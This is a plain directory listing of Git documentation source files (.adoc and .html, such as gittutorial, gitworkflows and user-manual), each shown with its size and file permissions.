gitrevisions.html File 53.22 KB 0644
gitsubmodules.adoc File 10.13 KB 0644
gitsubmodules.html File 44.44 KB 0644
gittutorial-2.adoc File 14.4 KB 0644
gittutorial-2.html File 46.91 KB 0644
gittutorial.adoc File 22.43 KB 0644
gittutorial.html File 58.15 KB 0644
gitworkflows.adoc File 17.01 KB 0644
gitworkflows.html File 53.02 KB 0644
glossary-content.adoc File 32.31 KB 0644
howto-index.adoc File 3.91 KB 0644
howto-index.html File 36.01 KB 0644
i18n.adoc File 2.87 KB 0644
line-range-format.adoc File 1.15 KB 0644
line-range-options.adoc File 766 B 0644
merge-options.adoc File 7.26 KB 0644
merge-strategies.adoc File 6.36 KB 0644
mergetools-diff.adoc File 1.54 KB 0644
mergetools-merge.adoc File 2.6 KB 0644
object-format-disclaimer.adoc File 470 B 0644
pack-refs-options.adoc File 2.12 KB 0644
pretty-formats.adoc File 15.43 KB 0644
pretty-options.adoc File 4.43 KB 0644
pull-fetch-param.adoc File 5.44 KB 0644
ref-reachability-filters.adoc File 391 B 0644
ref-storage-format.adoc File 174 B 0644
rerere-options.adoc File 418 B 0644
rev-list-description.adoc File 2.47 KB 0644
rev-list-options.adoc File 48.59 KB 0644
revisions.adoc File 16.71 KB 0644
scalar.adoc File 7.27 KB 0644
scalar.html File 40.73 KB 0644
sequencer.adoc File 472 B 0644
signoff-option.adoc File 791 B 0644
trace2-target-values.adoc File 529 B 0644
transfer-data-leaks.adoc File 1.67 KB 0644
urls-remotes.adoc File 4.33 KB 0644
urls.adoc File 3.38 KB 0644
user-manual.adoc File 170.59 KB 0644
user-manual.html File 275.1 KB 0644